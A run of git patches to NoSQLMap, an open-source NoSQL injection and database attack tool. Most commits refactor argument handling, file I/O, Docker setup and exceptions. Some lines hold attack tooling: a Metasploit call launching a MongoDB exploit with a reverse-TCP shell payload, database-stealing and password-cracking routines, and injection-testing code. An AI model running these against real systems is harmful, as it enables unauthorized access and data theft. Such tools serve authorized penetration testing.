["--injectSize", "Size of payload"], ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], ["--params", "Enter parameters to inject in a comma separated list"], - ["--doTimeAttack", "Start timing based tests (y/n)"]] + ["--doTimeAttack", "Start timing based tests (y/n)"], + ["--savePath", "output file name"]] def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" @@ -75,7 +100,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - else: print "App is up!" appUp = True @@ -342,31 +366,14 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if args == None: fileOut = raw_input("Save results to file (y/n)? ") else: - fileOut = "n" + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable URLs:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable URLs:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) if args == None: raw_input("Press enter to continue...") @@ -450,10 +457,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 try: - injIndex = 1 if args == None: injIndex = raw_input("Which parameter should we inject? ") - + else: + injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: @@ -729,31 +736,17 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable Requests:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable Requests:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) raw_input("Press enter to continue...") return() From d351d1481570bc2bfad12c7966ca68255114cd2b Mon Sep 17 00:00:00 2001 From: Cotonne Date: Tue, 18 Sep 2018 18:23:15 +0200 Subject: [PATCH 180/207] Add support for App Web POST request --- nsmweb.py | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4bb00ce..b2c649b 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -113,7 +113,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if appUp == True: if args == None: - sizeSelect = not injectSize.isdigit() + sizeSelect = True while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") @@ -389,7 +389,7 @@ def getResponseBodyHandlingErrors(req): return responseBody -def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): +def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None): print "Web App Attacks (POST)" print "===============" paramName = [] @@ -468,17 +468,22 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return + if args == None: + sizeSelect = True - sizeSelect = (args == None) - injectSize = 1000 + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - sizeSelect = not injectSize.isdigit() - if sizeSelect: - print "Invalid! The size should be an integer." + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. @@ -747,8 +752,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: savePath = args.savePath save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) - - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() From 4aebe343c27593972b571ca74c7b94c38dba3284 Mon Sep 17 00:00:00 2001 From: CaptainFreak Date: Sat, 13 Oct 2018 10:05:35 +0530 Subject: [PATCH 181/207] Fixed bugs in choosing payload length and format --- nsmweb.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index b2c649b..554f699 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -125,7 +125,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: injectSize = int(args.injectSize) format = args.injectFormat - + + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" @@ -869,13 +870,13 @@ def randInjString(size): print "2-Letters only" print "3-Numbers only" print "4-Email address" - format = True - while format: + while True: format = raw_input("Select an option: ") if format not in ["1", "2", "3", "4"]: - format = True print "Invalid selection." + else: + break return format def build_random_string(format, size): From 3db58aedc82ab9ed2e93a464c300f341f79ab7cc Mon Sep 17 00:00:00 2001 From: tripleee Date: Tue, 30 Oct 2018 10:23:52 +0200 Subject: [PATCH 182/207] Avoid shell=True in subprocess.call() The code doesn't need the shell for anything so this should be more efficient, as well as potentially more secure, and hopefully instructive for readers of the code. See also https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess --- nsmmongo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmmongo.py b/nsmmongo.py index c01e410..ee61e02 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -338,7 +338,7 @@ def enumDbs (mongoConn): def msfLaunch(): try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) + proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) except: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." From d521e671f712d884fa8b3b592b592cba3eaf877f Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:08:31 -0500 Subject: [PATCH 183/207] Added Docker files. --- docker/Dockerfile | 15 +++++++++++++++ docker/entrypoint.sh | 2 ++ 2 files changed, 17 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/entrypoint.sh diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..3882f3d --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y python python-pip git mongodb + +RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap + +WORKDIR /root/NoSqlMap + +RUN python setup.py install + +COPY entrypoint.sh /tmp/entrypoint.sh + +RUN chmod +x /tmp/entrypoint.sh + +ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh new file mode 100644 index 0000000..f424d72 --- /dev/null +++ b/docker/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec python nosqlmap.py From 69c7e7cd4414fc94a16c57b624c186d96b8ccbfe Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:14:17 -0500 Subject: [PATCH 184/207] Updated README for Docker --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c3c5174..82e79d2 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,10 @@ There are some various other libraries required that a normal Python installatio ``` python setup.py install ``` - +Alternatively you can build a Docker image by changing to the docker directory and entering: +``` +docker build -t nosqlmap . +``` ## Usage Instructions Start with ``` From 9a792221dc112d1069d94ac9c4c175811538d12c Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:12:01 -0400 Subject: [PATCH 185/207] fixed injectSize type error for Post attacks --- nsmweb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nsmweb.py b/nsmweb.py index 554f699..e2fcc77 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -483,6 +483,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injectSize = int(args.injectSize) format = args.injectFormat + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" From de427caa8c93d2512e3dcd99b3771adc48e3ed30 Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:24:24 -0400 Subject: [PATCH 186/207] remove trailing newlines and carriage return from parsed burp file --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4d1b733..8af85f0 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -473,9 +473,11 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r\n","") + victim = reqData[1].split( " ")[1].replace("\r","") + victim = victim.replace("\n","") optionSet[0] = True - uri = methodPath[1].replace("\r\n","") + uri = methodPath[1].replace("\r","") + uri = uri.replace("\n","") optionSet[2] = True elif select == "b": From a86d2309ee997803d847d57318c718cc2b74269d Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 15:14:21 -0400 Subject: [PATCH 187/207] remove ALL trailing newlines/CRs as soon as possible from parsed file. Also use 'with' to open files, to ensure file is automatically closed --- nosqlmap.py | 96 +++++++++++++++++++++++++++-------------------------- 1 file changed, 49 insertions(+), 47 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8af85f0..1ae2e63 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -400,46 +400,51 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") + cvsOpt = [] try: - fo = open(loadPath,"r" ) - csvOpt = fo.readlines() - fo.close() - optList = csvOpt[0].split(",") - victim = optList[0] - webPort = optList[1] - uri = optList[2] - httpMethod = optList[3] - myIP = optList[4] - myPort = optList[5] - verb = optList[6] - https = optList[7] + with open(loadPath,"r") as fo: + for line in fo: + cvsOpt.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) + raw_input("error reading file. Press enter to continue...") + return + + optList = csvOpt[0].split(",") + victim = optList[0] + webPort = optList[1] + uri = optList[2] + httpMethod = optList[3] + myIP = optList[4] + myPort = optList[5] + verb = optList[6] + https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 - # saved headers position will depend of the request verb - headersPos= 1 - - if httpMethod == "POST": - postData = ast.literal_eval(csvOpt[1]) - headersPos = 2 - - requestHeaders = ast.literal_eval(csvOpt[headersPos]) - - # Set option checking array based on what was loaded - x = 0 - for item in optList: - if item != "Not Set": - optionSet[x] = True - x += 1 - except: - print "Couldn't load options file!" + requestHeaders = ast.literal_eval(csvOpt[headersPos]) + + # Set option checking array based on what was loaded + x = 0 + for item in optList: + if item != "Not Set": + optionSet[x] = True + x += 1 elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") - + reqData = [] try: - fo = open(loadPath,"r") - reqData = fo.readlines() - - except: + with open(loadPath,"r") as fo: + for line in fo: + reqData.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") return @@ -473,25 +478,22 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r","") - victim = victim.replace("\n","") + victim = reqData[1].split( " ")[1] optionSet[0] = True - uri = methodPath[1].replace("\r","") - uri = uri.replace("\n","") + uri = methodPath[1] optionSet[2] = True elif select == "b": savePath = raw_input("Enter file name to save: ") try: - fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) - - if httpMethod == "POST": - fo.write(",\n"+ str(postData)) - fo.write(",\n" + str(requestHeaders) ) - fo.close() - print "Options file saved!" - except: + with open(savePath, "wb") as fo: + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) + print "Options file saved!" + except IOError: print "Couldn't save options file." elif select == "h": From 77a91f9e03f569db469549ee196dc95664c3ddb9 Mon Sep 17 00:00:00 2001 From: kaixiang ren Date: Sun, 26 May 2019 18:09:29 +1000 Subject: [PATCH 188/207] fixed bug postData undefined related issue #83, #84 --- nosqlmap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1ae2e63..33e78d2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,7 +137,7 @@ def build_post_data(postDataIn): return postData def attack(args): - platform = args.platform + platform = args.platform victim = args.victim webPort = args.webPort dbPort = args.dbPort @@ -149,7 +149,7 @@ def attack(args): httpMethod = args.httpMethod requestHeaders = build_request_headers(args.requestHeaders) postData = build_post_data(args.postData) - + if args.attack == 1: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) @@ -337,7 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - build_post_data(postDataIn) + postData = build_post_data(postDataIn) httpMethod = "POST" else: @@ -419,14 +419,14 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] - + # saved headers position will depend of the request verb headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) headersPos = 2 - + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded @@ -512,7 +512,7 @@ def build_parser(): parser.add_argument("--myIP",help="Set my local platform/Shell IP") parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) - parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") @@ -524,7 +524,7 @@ def build_parser(): group = parser.add_argument_group(module.__name__) for arg in module.args(): group.add_argument(arg[0], help=arg[1]) - + return parser def signal_handler(signal, frame): From 3c7895ded3eefc3396c7db12063e1994ae4b8fab Mon Sep 17 00:00:00 2001 From: Gabriel Barbosa <37980500+gabu-b@users.noreply.github.com> Date: Wed, 29 May 2019 17:38:14 -0300 Subject: [PATCH 189/207] Update Set App Path Module to Accept Null Values --- nosqlmap.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 33e78d2..9ddd8bb 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -296,10 +296,15 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") - #Ensuring the URI path always starts with / and causes less errors - if uri[0] != "/": + #Ensuring the URI path always starts with / and accepts null values + if len(uri) == 0: + uri = "Not Set" + print "\nURI Not Set." "\n" + optionSet[2] = False + + elif uri[0] != "/": uri = "/" + uri - print "\nURI Path set to " + uri + "\n" + print "\nURI Path set to " + uri + "\n" optionSet[2] = True elif select == "4": From 73a45349e4ab593fb7b7808d066ee77ce88c87da Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Mon, 8 Jul 2019 17:34:47 +1000 Subject: [PATCH 190/207] Create FUNDING.yml --- .github/FUNDING.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..33a48a1 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: PayPal.Me/codingo From 1ccd177b3e0be4aba1cb547b9d4cfd803f8d0f08 Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Tue, 9 Jul 2019 12:50:36 +1000 Subject: [PATCH 191/207] Update setup.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 27de04e..aab887a 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.5.0"], + "requests==2.20.0"], author = "tcstool", author_email = "codingo@protonmail.com", From 049de70ab3478a2530778062586f27e9ae873f49 Mon Sep 17 00:00:00 2001 From: Anton Bolshakov Date: Tue, 13 Aug 2019 11:01:19 +0800 Subject: [PATCH 192/207] nosqlmap.py: invalid header "coding" should come in the second line, see: https://www.python.org/dev/peps/pep-0263/ --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9ddd8bb..c0db07d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ -# -*- coding: utf-8 -*- #!/usr/bin/python +# -*- coding: utf-8 -*- # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission From a86e08b48a550ccacb8effa6c400af780c821832 Mon Sep 17 00:00:00 2001 From: August Date: Wed, 6 Nov 2019 17:54:08 -0800 Subject: [PATCH 193/207] Set request headers Fixes #88 --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..6640c0b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -503,7 +503,7 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - build_request_headers(reqHeadersIn) + requestHeaders = build_request_headers(reqHeadersIn) elif select == "x": return From 4ebd59a536930e53a0e07215123ed570c42fcd80 Mon Sep 17 00:00:00 2001 From: Kevin Date: Fri, 8 Nov 2019 01:18:32 +0200 Subject: [PATCH 194/207] Fixed loading options from file --- nosqlmap.py | 4 ++-- saved_options.txt | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 saved_options.txt diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..af22e55 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -405,11 +405,11 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") - cvsOpt = [] + csvOpt = [] try: with open(loadPath,"r") as fo: for line in fo: - cvsOpt.append(line.rstrip()) + csvOpt.append(line.rstrip()) except IOError as e: print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") diff --git a/saved_options.txt b/saved_options.txt new file mode 100644 index 0000000..ced64ac --- /dev/null +++ b/saved_options.txt @@ -0,0 +1,3 @@ +10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, +{'CompanyName': 'test'}, +{} \ No newline at end of file From 9ba34ece84db12230d1b371ebd507013052f33cd Mon Sep 17 00:00:00 2001 From: Kevin Schmidt Date: Fri, 8 Nov 2019 01:27:43 +0200 Subject: [PATCH 195/207] Delete saved_options.txt --- saved_options.txt | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 saved_options.txt diff --git a/saved_options.txt b/saved_options.txt deleted file mode 100644 index ced64ac..0000000 --- a/saved_options.txt +++ /dev/null @@ -1,3 +0,0 @@ -10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, -{'CompanyName': 'test'}, -{} \ No newline at end of file From 04758345da18dce7d9db4f843fbee6d4ec19c467 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:21:27 +0100 Subject: [PATCH 196/207] added docker-compose, switched from ubuntu to alpine, entrypoint working --- docker/Dockerfile | 7 ++++--- docker/docker-compose.yml | 6 ++++++ docker/entrypoint.sh | 4 ++-- 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 docker/docker-compose.yml diff --git a/docker/Dockerfile b/docker/Dockerfile index 3882f3d..511d0a8 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,6 +1,8 @@ -FROM ubuntu:latest +FROM python:2.7-alpine -RUN apt-get update && apt-get install -y python python-pip git mongodb +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories +RUN apk update && apk add mongodb git RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap @@ -9,7 +11,6 @@ WORKDIR /root/NoSqlMap RUN python setup.py install COPY entrypoint.sh /tmp/entrypoint.sh - RUN chmod +x /tmp/entrypoint.sh ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..dc505f6 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,6 @@ +version: "3" +services: + nosqlmap: + image: nosqlmap:latest + build: + context: . diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh index f424d72..eb9b8b4 100644 --- a/docker/entrypoint.sh +++ b/docker/entrypoint.sh @@ -1,2 +1,2 @@ -#!/bin/bash -exec python nosqlmap.py +#!/bin/ash +python nosqlmap.py From 6a9acf44005e223cd843f69f84cca7f4ae044728 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:25:08 +0100 Subject: [PATCH 197/207] readme updated --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 82e79d2..6841632 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,12 @@ Alternatively you can build a Docker image by changing to the docker directory a ``` docker build -t nosqlmap . ``` + +or you can use Docker-compose to run Nosqlmap: +``` +docker-compose build +docker-compose run nosqlmap +``` ## Usage Instructions Start with ``` From e0bf5a45cb007d7cb82f4a0d67851964718031df Mon Sep 17 00:00:00 2001 From: Ben Date: Wed, 8 Apr 2020 18:41:10 -0400 Subject: [PATCH 198/207] Added base exception class NoSQLMapException inside exception.py. --- exception.py | 6 ++++++ nosqlmap.py | 3 ++- nsmcouch.py | 21 +++++++++++---------- nsmmongo.py | 29 +++++++++++++++-------------- nsmscan.py | 7 ++++--- nsmweb.py | 11 ++++++----- 6 files changed, 44 insertions(+), 33 deletions(-) create mode 100644 exception.py diff --git a/exception.py b/exception.py new file mode 100644 index 0000000..72659c8 --- /dev/null +++ b/exception.py @@ -0,0 +1,6 @@ +#!/usr/bin/python +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + +class NoSQLMapException(Exception): + pass diff --git a/nosqlmap.py b/nosqlmap.py index 0f70ab4..1aac75d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -3,6 +3,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import sys import nsmcouch import nsmmongo @@ -279,7 +280,7 @@ def options(): print "Bad octet in IP address." goodDigits = False - except: + except NoSQLMapException("[!] Must be a DNS name."): #Must be a DNS name (for now) notDNS = False diff --git a/nsmcouch.py b/nsmcouch.py index f2d344b..33bbe62 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import couchdb import urllib import requests @@ -39,10 +40,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -59,10 +60,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] def netAttacks(target,port, myIP, args = None): @@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None): print "CouchDB authenticated on " + target + ":" + str(port) mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None): if mgtRespCode == 200: print "Sofa web management open at " + mgtUrl + ". No authentication required!" - except: + except NoSQLMapException: print "Sofa web management closed or requires authentication." if mgtOpen == True: @@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target): return -def enumAtt(conn,target): +def enumAtt(conn, target, port): dbList = [] print "Enumerating all attachments..." @@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port): print "\n".join(dbList) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: @@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port): else: return - except: + except NoSQLMapException: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return @@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer): passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." diff --git a/nsmmongo.py b/nsmmongo.py index ee61e02..996668a 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import pymongo import urllib import json @@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): print "REST interface not enabled." print "\n" - except Exception, e: + except NoSQLMapException: print "MongoDB web management closed or requires authentication." if mgtOpen == True: @@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn): else: return - except Exception, e: + except NoSQLMapException, e: if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return @@ -231,7 +232,7 @@ def dict_pass(user,key): with open (dictionary) as f: passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." @@ -303,7 +304,7 @@ def enumDbs (mongoConn): print "\n".join(mongoConn.database_names()) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." print "List of collections:" @@ -328,7 +329,7 @@ def enumDbs (mongoConn): if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - except Exception, e: + except NoSQLMapException, e: print e print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -336,11 +337,11 @@ def enumDbs (mongoConn): return -def msfLaunch(): +def msfLaunch(victim, myIP, myPort): try: proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) - except: + except NoSQLMapException: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") return @@ -357,10 +358,10 @@ def enumGrid (mongoConn): print " list of files:" print "\n".join(files) - except: + except NoSQLMapException: print "GridFS not enabled on " + str(dbItem) + "." - except: + except NoSQLMapException: print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." return @@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except: + except NoSQLMapException: if str(sys.exc_info()).find('need to login') != -1: conn.close() return [1,None] @@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt): 